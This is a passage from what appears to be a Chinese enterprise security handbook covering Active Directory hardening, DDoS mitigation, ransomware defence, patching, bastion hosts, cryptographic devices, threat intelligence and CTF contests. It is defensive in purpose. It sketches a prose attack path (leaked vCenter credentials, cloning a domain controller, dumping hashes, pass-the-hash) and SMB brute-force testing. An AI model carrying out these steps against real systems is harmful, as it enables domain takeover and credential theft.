技术手段上可以通过开发脚本扫描所有域控，触发验证日志和验证事件，图形化展示，每日Review报表即可轻松发现问题。Nmap扫描器提供了大量插件脚本，smb-brute.nse是一个针对SMB暴力猜解的脚本，我们构造相应的用户密码字典对所有域控跑一遍即可产生相应的事件。在SOC上制订针对性的验证CASE，结合图形化展示可以清楚地知道哪个域控触发了事件，哪个域控没触发事件。同样类似的还有ldap-brute.nse脚本，不再赘述。


3.其他注意事项


AD的日志量非常大，由于配置不当或者网络原因，会导致日志延迟或丢失问题，也需要有相应的一致性比对和可用性监控脚本，统一展示对比结果和可用性情况。由于这个问题不是AD场景独有，不再赘述。

最后一点与技术无关，针对域控各种不合规进行整改，安排专人跟进，这样效果会比较好。


4.一些其他思路


除了监测相应的安全事件之外，还有一些其他的思路，包括针对Mimikatz的检测、PowerShell的审计与监控等。前面笔者在内网安全（第13章）中介绍的异常访问监测系统，也能在这里发挥作用：一是可以监测到不同子域之间的访问，正常情况下，不同子域之间的访问应该很少；二是可以对一些正常的访问做频率监测，正常的请求频率不会太多，如果监测到高频率请求就是有问题的，需要跟进。

在内网安全（第13章）中我们还介绍了一些蜜罐技术，其实也可以用在这里，例如，网上就有介绍如何利用一个假的SPN来检测Kerberoast攻击的文章
 


[1]




 。




[1]

 链接：https://adsecurity.org/?p=3513。




17.4.3　外围平台安全



在实际工作过程中，还需要关注一些外围的安全，例如，AD所在虚拟平台上的安全、AD数据备份相关的安全、AD集成身份认证安全等。前面我们讲过ntds.dit文件可能不仅出现在域控上，就是这个意思。


1.虚拟化平台


很多企业将域控服务器部署在虚拟化平台上，一旦虚拟化平台被攻陷，所有域账号都可能被盗取，风险非常大。图17-33是笔者所在团队某次真实渗透测试中发现的外围机器上的一个脚本，里面包含了虚拟化平台的账号密码。




图17-33　虚拟化平台边缘问题

利用上面的密码就可以直接登录到vCenter，通过将AD服务器克隆，断开网卡，开机重置密码强行进入即可拿到AD上所有账号的HASH，利用PTH攻击即能控制域内所有计算机。

相应的安全方案，包括两方面：一是确保虚拟化平台本身的安全，包括平台的版本不存在高危漏洞，平台上的账号权限管理与敏感操作监控等；二是对AD服务器启用BIOS保护，防止直接挂PE盘进入，启用BitLocker加密，防止vmdk被人拷贝直接进入系统等。有条件的企业，尽量使用新版的操作系统（例如Windows Server 2016），增加了一些安全功能，例如哈希加密、Credential Guard、Shielded VM和虚拟机TPM技术、将密钥保存在虚拟TPM里等。


2.身份认证集成


很多企业都会有一些应用系统需要与AD集成，主要用来做身份认证。有条件的企业，建议通过SSO系统来对接，各种应用系统对接SSO，而SSO再与AD对接，尽量通过Kerberos协议来实现用户认证，避免使用LDAP认证。

如果特殊应用（例如C/S）无法走基于Web的SSO系统，而必须使用LDAP方式，建议使用SSL进行加密，最好是双向认证。

有些与AD集成的系统特别是外购系统，往往是由外部人员负责维护，那里就会存在很大的安全隐患，因为所有人的账号密码都可能会被这个系统记录而被外部人员掌握，这一点尤其要重点关注。




17.4.4　被渗透后的注意事项



一旦发现域控被渗透，除了夺回权限外，还需要关注黑客可能遗留的后门，例如我们在17.3节里讲到的各种后门。需要注意的点包括：

·重置krbtgt账号密码。

·重置DSRM账号密码。

·重置重要服务账号密码。

·检查账号SIDHistory属性。

·检查组策略配置以及SYSVOL目录权限。

·检查AdminSDHolder相关安全账号。

为了防止各种后门程序或注册表项被修改，建议直接废弃现有DC，新搭一套将数据同步回来。




17.5　小结



本章主要讲解了活动目录常见的安全问题与解决方案，为了便于读者理解常见的攻击手法，笔者对攻击方式进行了针对性的演示，在防护方案上针对域管理员账号的监控进行了详细说明。

笔者建议当对AD实施了最佳防护方案后，需要将防护的重心由域管理员账号转向重要系统或重要人物，例如，SSO系统以及和SSO对接的各种系统，组织架构里的重要领导账号等，都需要关注，毕竟黑客最终目标是数据，而不仅仅是域管理员账号。




第18章　安全热点解决方案



本章主要针对前面章节所涉及的一些要点进行补充，包括DDoS、勒索软件、补丁管理、堡垒机、加密机、情报与CTF。




18.1　DDoS攻击与对策



DDo（Distributed Denial of Service），即分布式拒绝服务攻击，是指黑客通过控制由多个肉鸡或服务器组成的僵尸网络，向目标发送大量看似合法的请求，从而占用大量网络资源使网络瘫痪，阻止用户对网络资源的正常访问。

从各安全厂商的DDoS分析报告不难看出，DDoS攻击的规模及趋势正在成倍增长。由于攻击的成本不断降低，技术门槛要求越来越低，攻击工具的肆意传播，互联网上随处可见成群的肉鸡，使发动一起DDoS攻击变得轻而易举。

DDoS攻击技术包括：常见的流量直接攻击（如SYN/ACK/ICMP/UDP FLOOD），利用特定应用或协议进行反射型的流量攻击（如，NTP/DNS/SSDP反射攻击，2018年2月28日GitHub所遭受的Memcached反射攻击），基于应用的CC、慢速HTTP等。关于这些攻击技术的原理及利用工具网上有大量的资源，不再赘述。




18.1.1　DDoS防御常规套路



防御DDoS的常规套路包括：本地设备清洗，运营商清洗，云清洗。


1.本地设备清洗


抗DDoS设备（业内习惯称ADS设备）一般以盒子的形式部署在网络出口处，可串联也可旁路部署。旁路部署需要在发生攻击时进行流量牵引，其基本部署方案如图18-1所示。




图18-1　ADS 设备部署方式

图18-1中的检测设备对镜像过来的流量进行分析，检测到DDoS攻击后通知清洗设备，清洗设备通过BGP或OSPF协议将发往被攻击目标主机的流量牵引到清洗设备，然后将清洗后的干净流量通过策略路由或者MPLS LSP等方式回注到网络中；当检测设备检测到DDoS攻击停止后，会通知清洗设备停止流量牵引。

将ADS设备部署在本地，企业用户可依靠设备内置的一些防御算法和模型有效抵挡一些小规模的常见流量攻击，同时结合盒子提供的可定制化策略和服务，方便有一定经验的企业用户对攻击报文进行分析，定制针对性的防御策略。目前国内市场上，主要以绿盟的黑洞为代表，具体可以访问其官网进一步了解。

本地清洗最大的问题是当DDoS攻击流量超出企业出口带宽时，即使ADS设备处理性能够，也无法解决这个问题。一般金融证券等企业用户的出口带宽可能在几百兆到几G，如果遇到十G以上甚至上百G的流量，就真的麻烦了，更别谈T级别的DDoS攻击了。


2.运营商清洗


当本地设备清洗解决不了流量超过出口带宽的问题时，往往需要借助运营商的能力了，紧急扩容或者开启清洗服务是一般做法，前提是要采购相应的清洗服务，而且一般需要通过电话或邮件确认，有的可能还要求传真。

运营商的清洗服务基本是根据netflow抽样检测网络是否存在DDoS攻击，而且策略的颗粒度较粗，因此针对低流量特征的DDoS攻击类型检测效果往往不够理想。再加上一些流程上的操作如电话、邮件、传真等，真正攻击到来时处理可能会更慢，需要重点关注。

值得一提的是中国电信的云堤服务，提供了“流量压制”和“近源清洗”服务，而且还提供了自助平台供用户操作，查看流量、开启清洗也非常方便。


3.云清洗


内容分发网络（Content Delivery Network，CDN）是指，通过在网络各处放置节点服务器，让用户能够在离自己最近的地方访问服务，以此来提高访问速度和服务质量。CDN主要利用了四大关键技术：内容路由，内容分发，内存存储，内容管理。更详细的技术原理可以参考中国电信研究院出版的《CDN技术详解》。

CDN技术的初衷是为了提高互联网用户对静态网站的访问速度，但是由于分布式、就近访问的特点，能对攻击流量进行稀释，因此，一些传统CDN厂商除了提供云加速功能外，也开始推出云清洗的服务，当然还有一些安全公司基于其自身优势进入云清洗市场。基本原理都一样，需要先在云端配置好相应的记录，当企业遭受大规模攻击时，通过修改其DNS记录将要保护的域名CNAME到云端事先配好的记录上，等待DNS生效即可。

使用云清洗需要注意以下几个问题：

·云清洗厂商需要提前配置好相应记录。

·DNS修改记录后，需要等待TTL超时才生效。

·直接针对源IP的攻击，无法使用云清洗防护，还要依靠本地和运营商清冼。

·针对HTTPS网站的防御，还涉及HTTPS证书，由此带来的数据安全风险需要考虑，市面上也有相应的Keyless方案
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由于国内环境不支持Anycast技术，所以不再赘述，如果有海外分支机构的网站需要防护，可以关注。




[1]

 其细节可以参考 cloudflare 公司博客上的文章，链接：https://blog.cloudflare.com/keyless-ssl-the-nitty-gritty-technical-details/。




18.1.2　一些经验



结合笔者所在团队的一些经验，对DDoS防护落地做一些补充，仅供参考。


1.自动化平台


金融企业由于高可用要求，往往会有多个数据中心，一个数据中心还会接入多家运营商线路，通过广域网负载均衡系统对用户的访问进行调度，使之访问到最近最优的资源。当任何一条接入线路存在DDoS攻击时，能通过广域网负载均衡系统将该线路上的访问需求转移至其他互联网线路。在针对IP地址开展的DDoS攻击中，此方案能够有效保障正常客户的访问不受影响，为了实现快速切换，需要通过自动化运维平台来实现，如图18-2所示。




图18-2　线路调整一键应急

配合必要的应知应会学习和应急演练，使团队成员都能快速掌握方法，在事件发生第一时间进行切换，将影响降到最小。接下来才是通知运营商进行清洗处理，等待流量恢复正常后再进行回切。

当某一个业务的IP受到攻击时，可以针对性地处置，比如一键停用，让正常用户访问其他IP；也可以一键开启清洗服务。


2.设备抗D能力


除了ADS设备外，还有一些设备也需要关注抗DDoS能力，包括防火墙、负载均衡设备等。

出于安全可控需求，金融企业往往会采用异构模式部署防火墙，比如最外层用产品A，里面可能会用产品B。假如产品A的抗DDoS能力差，在发生攻击时，可能还没等到ADS设备清洗，产品A已经出问题了，比如发生了HA切换或者无法再处理新的连接等。

在产品选型测试时，需要关注这方面的能力，结合笔者所在团队经验，有以下几点供参考：

·某些产品在开启日志记录模块后会存在极严重的性能消耗，在可能存在攻击的环境内建议关闭。

·尽管理论和实际会有偏差，但根据实际测试情况，还是建议当存在大量TCP、UDP新建连接时，防火墙的最大连接数越大越好。

·多测试多对比，从对比中可以发现更优的方案，通过适当的调整优化引入更优方案。

·监控防火墙CPU和连接数，当超过一定值时开始着手优化规则，将访问量多的规则前移、减少规则数目等都是手段。

负载均衡设备也需要关注以上问题，此外，负载均衡由于承接了应用访问请求分发调度，可以一定程度上针对性地防护基于IP速率、基于URL速率的DDoS攻击以及慢速攻击等。图18-3所示为F5的ASM的DDoS防护策略。




图18-3　负载均衡设备ASM防DDoS功能

请求经过防火墙和负载均衡，最后到了目标机器上处理的时候，也需要关注。系统的性能调优设置、Nginx的性能参数调整以及限制连接模块配置等，都是在实际工作中会涉及的。


3.应急演练


部署好产品，开发好自动化运维平台，还要配合必要的应知应会、应急演练才行。因为金融行业的特殊性，DDoS攻击发生的次数相比互联网行业还是少很多的，有的企业可能几年也碰不到一次。时间久了技能就生疏了，真正需要用到时，可能连登录设备的账号口令都忘了，又或者需要现场接线的连设备都找不到，那就太糟糕了。

此外，采购的外围的监控服务、运营商和云清洗产品的服务能力也需要通过演练来检验有效性。签订合同时承诺的秒级发现、分钟级响应是否经得起考验，要先在心里打上一个问号。建议在不事先通知的情况下进行演练，观察这中间的问题并做好记录，待演练完成后一并提交给服务商要求整改。这样的演练每年要不定期组织几次。




18.2　勒索软件应对



2017年5月12日，一种名为“WannaCrypt”（中文翻译为想哭）的勒索病毒袭击全球150多个国家和地区，影响领域包括政府部门、医疗服务、公共交通、邮政、通信和汽车制造业。由于影响巨大，微软紧急发布了防范及修复指南，同时提供了已经不再支持的Windows XP、Windows 2003操作系统的相关补丁程序。

其实，企业用户几乎每天都在遭受勒索软件攻击。笔者在第16章里介绍的putty.zip其实就是一个勒索病毒，双击后电脑上的文件就会被加密，并要求在96小时内支付8比特币赎金，否则文件将永久无法打开
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企业安全人员如何做好有效防御？首先要分析勒索软件的来源及利用途径，然后做好针对性的管控。根据笔者经验，邮件、上网、U盘是三个主要的来源，我们分别阐述相应的解决思路。


1.邮件


从邮件进来的恶意软件应该是最多的，需要企业在邮件系统安全防护能力上下功夫，具体方法可以参考第16章中的相关内容。

针对个人用户，建议的方案是不点击陌生人发来的各种链接，不要打开陌生人发来的附件，重要数据做好日常备份或上传到企业网盘，及时更新系统补丁及防病毒软件的病毒定义包。


2.终端


恶意软件通过邮件、U盘、网页访问下载等途径到了终端，会有各种动作，比如检查杀毒软件进程、访问外部网络、利用操作系统或应用漏洞等，勒索软件则在这个基础上更多偏向于对终端上的文件进行加密破坏。

常规的恶意软件，通过防病毒软件及时更新病毒定义就可以解决了；利用操作系统或应用漏洞的，则需要通过补丁管理来解决；需要利用管理员权限才能生效的程序，通过控制特权账户的使用即可解决。但总有例外发生，究其原因，是如今攻击方式已经发生了变化，防守方还处在特征签名加上补丁管理、病毒定义更新的模式，在终端数量众多的情况下，往往会存在执行不到位的问题，综合在一起才有了所谓的例外，其实并不是例外。相应的解决方案，一方面是做好以上基础工作进行正面防御，还可以从其他方面进行主动监测和保护。

主动监测，即对终端上程序的行为进行重点监控，包括进程创建、文件操作、网络请求等，再结合大量终端事件的关联分析与外部情报对接（文件、URL、IP信誉等），可以在一定程度上发现异常。

主动保护，即对终端上的软件行为制定规则，可以简单地理解为Office文档只允许Office软件访问或修改，当检测到与规则不匹配时进行阻断。除了某些老牌杀毒软件有提供勒索软件防护功能外，目前有一些数据安全厂商也提供了相应的方案，可以参考。


3.上网


企业出于合规、审计等原因，基本都会部署上网行为审计系统，有的企业还会部署防火墙进行控制。针对恶意软件可能的网络请求，特别是勒索软件都要请求后端密钥，如果对此过程进行干预，也可以很大程度上解决问题。

主流的思路包括：URL过滤、网站信誉库、恶意软件过滤等，再结合一些沙箱、情报技术等。有些恶意软件可能还会涉及偷数据的行为，为了规避会采用一些隐蔽信道的技术，也需要关注。


4.其他


在邮件、终端、上网都部署了相应的解决方案，能有效应对基于文档的勒索软件。但是，恶意软件技术总是不断在发展变化，有一些是针对移动终端的，安装了某些APP后就会导致手机被锁定；有一些是通过数据库管理软件实施的，即当数据库管理软件对数据库进行管理时乘机对数据库进行加密。作为安全从业者，需要时刻保持关注，并结合自己企业进行针对性的部署。




[1]

 关于这个病毒，网上已经有相应的分析文章了，链接：http://blogs.360.cn/blog/ctb-locker/。




18.3　补丁管理



在百度百科上，补丁是指衣服、被褥上为遮掩破洞而钉补上的小布块。现在也指对于大型软件系统（如微软操作系统）在使用过程中暴露的问题（一般由黑客或病毒设计者发现）而发布的解决问题的小程序。就像衣服破了就要打补丁一样，人编写程序不可能十全十美，所以软件也免不了会出现bug，而补丁是专门修复这些bug的。因为原来发布的软件存在缺陷，发现之后另外编制一个小程序使其完善，这种小程序俗称补丁。补丁是由软件的原来作者制作的，可以访问网站下载补丁。

企业内网可能存在名种类型的操作系统，这里我们以常见的Windows和Linux为例进行阐述。




18.3.1　Windows



微软从2003年10月开始引入了著名的“Patch Tuesday”的概念，即把过去一个月内的安全补丁累积起来，到了下一个月的第二个星期二集中发布，这样可以让系统管理员在固定的时间点来查看有哪些补丁发布了，并决定是否要安装这些补丁。

微软提供两种安全补丁服务：一种是基于推送的付费服务SCCM；另一种是免费的可自动下载的补丁下载服务。以使用WSUS的企业为例，企业外网的WSUS指向微软网站，所有Windows更新都集中下载到内部网的WSUS服务器，而网络中的客户机通过WSUS服务器得到更新。这里有两个前提条件：一是补丁经过管理员的批准；二是客户机配置了WSUS指向企业内部WSUS服务器。这样的补丁升级方式，在很大程度上节省了网络资源，并且提高了内部网络中计算机更新的效率。

配置WSUS，网上的教程大都是通过修改注册表的方式来实现，如果企业部署了活动目录，可以使用组策略功能进行统一配置，图18-4所示是在某台加入域的终端上看到的WSUS配置。




图18-4　WSUS配置效果

补丁管理的难点不在于技术上的配置，更多的是如何将其落地，笔者有以下建议：

1）补丁在允许更新前的测试、验证工作需要谨慎，以防出现诸如蓝屏、进程崩溃、与现有常用软件冲突等问题。

2）办公、业务网的升级机制需要错开，比如办公网打补丁一周后再为业务网打补丁，防止出现可用性问题。

3）有可用性要求的机器，在打补丁前做好意外情况下的准备工作，一旦有问题可以通过快照、快速部署等方式恢复业务，这一点需要依赖企业可用性建设方面的能力。

4）不是所有补丁都需要打，优先处理安全类补丁，其他功能增强型的补丁可以不打。

5）重启才能生效的补丁遇到涉及可用性的机器，需要使用“灰度”策略，在其他安全控制措施有效的情况下可以适当延后。

6）采用漏洞扫描的方式跟进补丁情况，需要由专人负责这方面的工作，针对长久未打补丁的需要有相应的事件升级机制。

7）必要时可以借助外部力量来推动相关工作，比如请审计相关同事重点关注某些执行不到位的分支机构或部门。




18.3.2　Linux



Linux在安装软件的过程中涉及很多依赖性问题，所以一般正常情况下安装软件都是到yum源或apt源上。在内网不方便访问互联网的情况下，一般企业都会搭建内部的yum或apt源，以供内部Linux机器使用。在打补丁这个场合，也能用上。

一般来说，企业使用Linux更多是提供服务的，所以打补丁这事更加需要谨慎。使用yum update更新时，一般不建议升级内核，因为升级内核可能会带来意想不到的一些问题，比如PHP应用无法使用、硬件无法识别等，除非已经对升级内核进行了充分测试。升级内核后，要确保下次启动时使用新内核，默认情况下新安装的内核会排在第一位，如无特殊要求不应该修改grub引导配置文件。

针对应用的补丁，也需要看漏洞是否真的有比较大的影响，如远程执行、本地提权等。原则上致命级别的漏洞应该立即更新；对于bug修复类补丁，如果涉及的模块涉足BUG触发条件应及时更新，其他情况则延后，比如一个月内更新；而功能增强型补丁则更延后，比如建议每6个月更新一次等。

当外界披露了某个应用存在高危漏洞，如果想快速修复漏洞，需要有个前提—如何确定哪些机器上有相应的应用及受影响的版本。安全人员的第一反应是漏洞扫描发现，但有些漏洞仅靠扫描器是发现不了的，所以这里往往又涉及企业资产管理或运维自动化方面的能力了。做得好的企业，会有一套系统用于快速查询哪些服务器运行了哪些特定的软件，以及软件的版本号，最好还能执行一些简单的指令，比如升级特定的软件，那打补丁就方便多了。




18.4　堡垒机管理



堡垒机的介绍与安全加固，已经在企业内网安全这一章（第13章）讲过了，本节主要针对企业实际管理过程中的一些问题进行阐述。


1.用户与权限管理


堡垒机的用户一般分为：系统管理员、业务或开发人员、外包人员，以及值班或应急公用账号。不同的用户，建议有不同的认证等级或启停控制，如表18-1所示。

表18-1　堡垒机用户认证等级与启停控制




用户认证通过后，所能登录的设备以及登录设备的用户权限也需要进行统一规划和管理，建议示例如表18-2所示。

表18-2　堡垒机用户登录设备与权限控制




以上过程中涉及账号启停的，最好实现一键化、自动化，即ITIL提单审批后，账号自动开启；系统管理员给外包人员开启账号时也是一键开启；给开发或业务人员授权的，也可以做成一键自动提权，否则太繁琐了不太容易执行。

最后，人员变动特别是员工离职，除了进行账号与权限清理外，还需要有自动化的对比机制，比如，账号每天自动与HR或AD等系统对比，若发现问题及时报警处置，防止因工作疏忽导致的离职员工账号未清理类审计问题。


2.机器纳管与口令变更


一台机器，需要经过哪些流程才允许上线？上线前扫描、被堡垒机纳管、采集安全日志等都是必要的。堡垒机纳管设备，除了登记IP、机器名、所属业务系统、负责人等之外，一般还要求上收用户账号与口令。

口令上收后，可以实现自动登录，无须用户再输入账号密码了。堡垒机有了账号口令，便可以进行自动化的口令变更，按照一定的规则生成复杂密码，然后定期修改口令。实际运维过程中，如果有因口令变更失败而导致的纳管机器无法自动登录的情形，需要自动化的手段来发现以及重置，发现问题并不难，重置密码则需要与自动化运维平台对接。

为了防止堡垒机出问题而无法登录，或者因堡垒机变更密码导致系统无法登录，一般都会保留一个应急账号，密码保存在堡垒机里，当需要取出时提单申请打印密码信封即可。当有打印密码信封事件触发时，安全人员会审核是否正常。

最后，所有设备的账号密码都保存在堡垒机系统里，堡垒机本身是否安全，密钥是否硬编码，都需要考虑。有的产品为了安全性会引入加密机，那么加密机的管理也是一个需要关注的问题，我们将在18.5节中讨论。


3.高可用架构与设计


正常的运维登录都通过堡垒机之后，堡垒机的安全性和可用性要求就变得非常苛刻了。安全性已经在第13章中重点讲过了，这里讨论与可用性相关的内容。

一般堡垒机分为访问服务器和后台服务器，访问服务器主要负责将用户的登录请求转接到后台（比如RDP和SSH），而后台服务器则保存用户权限、主机用户密码等相关信息。这两部分都需要做好高可用架构设计。数据库的高可用（如Oracle的RAC，MySQL的主从复制读写分离等）都有成熟的技术，访问服务器则可以借助类似F5或LVS的技术实现负载均衡，由于涉及会话连接等，需要注意会话保持相关的设置。有些做得好的应用，甚至会将一些后台权限、设备口令等信息通过加密缓存到访问服务器上，这样即使整个后台服务全挂了，也能让已有用户正常登录，只是新用户、新设备等无法管理。


4.应急通道与绕过发现


为了防止出现堡垒机彻底用不了的情况，企业一般都会保留应急通道，比如允许固定的机器访问固定的管理服务器等。这里需要注意应急通道的演练。平常大家都习惯了堡垒机的使用，往往就会忽视所谓的应急通道。建议的方法是，每月对一线员工进行不定期抽查，要求其模拟堡垒机无法使用的情况时该如何处置，并签字确认归档。抽查应急通道的目的是：一方面督促大家学习；另一方面备案备查。

有的管理员会尝试绕过堡垒机，比如将RDP或SSH端口监听放在别的端口，这样在网络防火墙会存在绕过的情况，绕过堡垒机就缺乏监管，管理员在目标机器上的操作也无法审计。针对这种情况，可以利用下一代防火墙基于应用协议做规则，也可以使用事后监测手段。在终端上监测远程桌面、SecureCRT等进程的网络访问情况，也可以在网络上使用异常访问检测系统监测触发RDP和SSH协议的目标端口是否为正常端口，这些都是不错的思路。笔者在实际工作中就曾经发现一起外包人员私自将RDP端口修改为非3389端口，在ECC电脑上直接远程桌面维护的情况。




18.5　加密机管理



通常我们把金融数据密码机简称为加密机，其应用场景如图18-5所示。

从图18-5可以看到，加密机的应用场景非常广泛。由于加密机往往涉及各种核心业务系统交易验证环节，一旦出现可用性问题，影响的可能是全行业务，所以作为加密机管理员，可用性责任会比较重。随着业务种类的变化，有的企业还会引入签名验签服务器以满足业务的需求，这里我们统称为广义上的“加密机”。




图18-5　金融数据密码机应用场景图




18.5.1　选型



加密机的引入，需要一个选型测试的过程。建议加密机管理员在选型上做好工作，从源头上对加密机厂商、型号进行控制，有利于日后的运维工作。选型标准或要求建议如下：

·对称类应用，首选A型加密机（每个企业基于自身使用现状进行选择，这里不做推荐）。

·对非对称类应用，首选B型签名服务器。

·如有项目需要与外联单位开展业务合作，而且对方要求指定型号的设备，需提供对方出具的正式文件并经领导审批方可使用。

·如有特殊应用需要使用与此标准不匹配的加密机，需要提供详细的测试对比数据，并经领导审批方可使用。




18.5.2　高可用架构与监控



加密机虽然是安全设备，但日常工作大多是与可用性相关的，可以说基本上就是运维的工作。可用性需要有合理的架构设计和配套的技术来保障。


1.架构


架构可以简单地理解为，设备部署在哪，应用怎么连接。

设置部署位置按业务的重要程度不同而不同，重要业务系统往往同时部署在多数据中心，那配套的加密机也要与之相应。同一个数据中心，加密机要分布在不同楼层、不同网段，如果在同一个楼层，要分开部署在不同的防火区。

应用连接基本分为应用直连、应用连接加密机池VIP两种模式；在连接方式上有长连接、短连接之分。对于直连的应用，要求由应用实现负载均衡，即应用探测到某台加密机故障后需要在应用上进行隔离，新的交易不再发往该加密机；对于由负载均衡提供VIP的方式，需要在负载均衡上进行应用级探测，即模拟应用向加密机发送报文查看加密机状态，一旦加密机状态返回异常即进行隔离。

有的厂商提供了统一管理平台，相当于代理，即不同的业务系统都连接这个平台，再由这个平台将请求向后端转发处理。建议适当评估，这样的方式虽然方便，但存在风险集中的隐患。


2.监控


对设备的可用性进行监控，一般有Ping探测、TCP端口探测、应用层探测。对于加密机这种特殊设备，建议要深入到应用层进行监测，图18-6为某可用性监控软件探测指令截图。




图18-6　加密机指令探测

除了基于设备的探测外，还需要从网络流量、业务交易量的视角对设备进行监控。比如短连接的业务，在F5上看当前连接数应该很少，甚至是0，某业务上线后发现这个数字变多了，那么估计是有问题的，多半是开发写的代码有问题，比如新建了连接却没有主动释放。再比如，业务都有高峰低谷，可以结合历史交易进行一些上下限阈值设定，对请求数、响应率、响应时间、成功率等进行监控，当有偏离时可以作为辅助判断。当然实际生产上突破阈值可能有其他原因，比如暴雨天气导致某分行ATM交易量下降，支付宝切量导致网联交易量下降等。




18.5.3　应用梳理



对于已经在线上运营的业务，如果选型这一关没有把控好，还需要开展全面梳理工作，主要包括设备机架位置、IP、白名单、品牌、版本，还有应用的连接情况（直连、负载均衡）、对应的业务相关的联系人（系统管理员、加密机管理员、开发人员、业务条线对口人员）等。对于不同型号的加密机，还有一些与该品牌相关的特性信息需要单独补充说明。以某品牌加密机为例，补充说明如表18-3所示。

表18-3　某加密机的特性信息说明




再以某品牌签名服务器为例，补充说明如表18-4所示。

表18-4　某签名服务器的特性信息说明







18.5.4　上下线与应急



上线和下线是相对比较基础的工作，需要注意的是加密机管理员和密钥管理员须严格区分。很多业务往往是上线容易下线难，这就需要各种沟通协调工作了，同时还需要配合技术上的监控。比如，某开发组说应用不再连这个加密机了，管理员在下线前还需要确认是否除了监控探测外，真的没有流量再访问该加密机，否则可能会出现可用性事件。下线的设备可能还要走相应的报废流程，一定要对密钥进行销毁。

可用性架构做得好的企业，单台加密机出故障不会使业务受影响。基本的应急操作都是重启，有些时候担心重启过程有影响，可以在F5上将设备Disable或者机房拔掉网线，重启确认没问题再插上。




18.6　情报利用



威胁情报近几年很火，国外有不少开源的威胁情报源可供使用，国内也有少数企业从事这个领域的工作，比如微步在线、天际友盟等。具体使用方面各家基本都差不多，都是申请API Key，然后调用相关API即可。涉及文件上传的则POST数据，如果只是查询某个MD5、IP、域名则更简单，有些场合可能没集成的则需要手工查询。情报落地需要有针对性的应用场景，脱离场景谈情报都是空谈。


1.简单查询


企业通过构建各种安全系统，收集了一些可执行文件的哈希值、DNS记录中的域名、网络访问中的IP等，如果需要做进一步判断，可以通过情报系统查询即可。

举个例子，分析IIS日志想找出异常，可以基于很多维度，包括返回码、UA、请求页面、发送字节数与返回字节数、来源IP、访问时间等；而来源IP以往我们都根据IP所在地址，有了情报后还可以看这个IP是否为SPAM、僵尸主机等信息。

再举个例子，Sysmon采集了系统上进程创建的事件，包含进程文件的SHA1和MD5值，企业可以将这些信息汇总，建立自己的可执行文件MD5库，结合外部情报去看这些MD5是否有问题。笔者所在企业通过定制开发程序实现了可执行文件的采集工作，包括文件名、文件路径、哈希值、公司、签名、大小等信息，再对接外部多家情报系统查询结果进行判定，将可执行文件标记为可信、可疑、高危、未知等类型。程序上线初期就发现不少情报标识为高危的文件，但防病毒查杀不了，提交样本给防病毒厂商分析，更新病毒定义后才可以查杀。这也算是一个利用场景吧。


2.文件提交分析


遇到可疑文件，除了丢到本地沙箱进行分析外，还可以提交到情报系统中进行分析，结合情报系统上的多杀毒引擎一般可以很快得到结论。笔者前面在第16章中提到邮件附件经过沙箱后，如果判定为可疑则会自动提交到外部情报系统，即是一个使用场景。


3.内部情报系统建设


有些信息是企业内部通过日常积累发现的，若不想全部提交到外网或者提交不方便，可以考虑在企业内部建设情报平台。比如，前面说的可执行文件MD5库，即利用了多家情报的结果按自己的规则评分，并结合企业内部的实际需求（有些是企业内部程序，手工标识为可信），就可以创建一个系统供其他应用来查询使用。商业公司也有相应的方案，即在企业内网部署一套情报系统，此处不再赘述。




18.7　网络攻防大赛与CTF



2018年7月，银保监会发了一个《关于银行保险业网络安全攻防比赛的通知》，要求各机构积极报名参赛。其实在此之前，一些地方银监局就已经在组织类似的比赛了。此类比赛，在业内有更专业的名词—夺旗赛，我们下面进行阐述。


1.概述


夺旗赛（Capture The Flag，CTF），在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会，以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。CTF为团队赛，通常以三人为限，要想在比赛中取得胜利，团队中每个人在各种类别的题目中至少要精通一类，三人优势互补，取得团队的胜利。


2.赛事介绍


CTF的大致流程是，参赛团队之间通过进行攻防对抗、程序分析等形式，率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容，并将其提交给主办方，从而夺得分数。为了方便称呼，我们把这样的内容称为“Flag”。

CTF竞赛模式具体分为以下三类：

·解题模式（Jeopardy）。在解题模式CTF赛制中，参赛队伍可以通过互联网或者现场网络参与竞赛，与ACM编程竞赛、信息学奥赛比较类似，以解决网络安全技术挑战题目的分值和时间来排名，通常用于在线选拔赛。题目主要包含逆向、漏洞挖掘与利用、Web渗透、密码、取证、隐写、安全编程等类别。

·攻防模式（Attack-Defense）。在攻防模式CTF赛制中，参赛队伍在网络空间互相进行攻击和防守，通过挖掘网络服务漏洞并攻击对手服务来得分，修补自身服务漏洞进行防御来避免丢分。攻防模式CTF赛制可以实时通过得分反映比赛情况，最终也以得分直接分出胜负，是一种竞争激烈、具有很强观赏性和高度透明性的网络安全赛制。在这种赛制中，不仅仅是比参赛队员的智力和技术，也比体力（因为比赛一般都会持续48小时以上），同时也比团队之间的分工配合与合作。

·混合模式（Mix）。结合了解题模式与攻防模式的CTF赛制，比如参赛队伍通过解题可以获取一些初始分数，然后通过攻防对抗进行得分增减的零和游戏，最终以得分高低分出胜负。采用混合模式CTF赛制的典型代表如iCTF国际CTF竞赛。


3.题目类别


（1）Reverse

题目涉及软件逆向、破解技术等，要求选手有较强的反汇编、反编译功底。主要考查参赛选手的逆向分析能力。

所需知识：汇编语言、加密与解密、常见反编译工具。

（2）Pwn

Pwn在黑客俚语中代表着攻破、获取权限；在CTF比赛中它代表着溢出类的题目，其中常见溢出漏洞类型有整数溢出、栈溢出、堆溢出等。主要考查参赛选手对漏洞的利用能力。

所需知识：C，OD+IDA，数据结构，操作系统。

（3）Web

Web是CTF的主要题型，题目涉及许多常见的Web漏洞，如XSS、文件包含、代码执行、上传漏洞、SQL注入等。也有一些简单的关于网络基础知识的题目，如返回包、TCP/IP、数据包内容和构造。可以说题目环境比较接近真实环境。

所需知识：PHP、Python、TCP/IP、SQL。

（4）Crypto

题目涉及各种加解密技术，包括古典加密技术、现代加密技术，甚至出题者自创加密技术，以及一些常见编码解码，主要考查参赛选手密码学相关知识点。通常也会和其他题目相结合。

所需知识：矩阵、数论、密码学。

（5）Misc

Misc即安全杂项，题目涉及隐写技术、流量分析、电子取证、人肉搜索、数据分析、大数据统计等，覆盖面比较广，主要考查参赛选手的各种基础综合知识。

所需知识：常见隐写术工具、Wireshark等流量审查工具、编码知识。

（6）Mobile

主要分为Android和iOS两个平台，以Android逆向为主，选手破解APK并提交正确答案。

所需知识：Java、Android开发、常见工具。


4.一些经验


（1）选人与分工

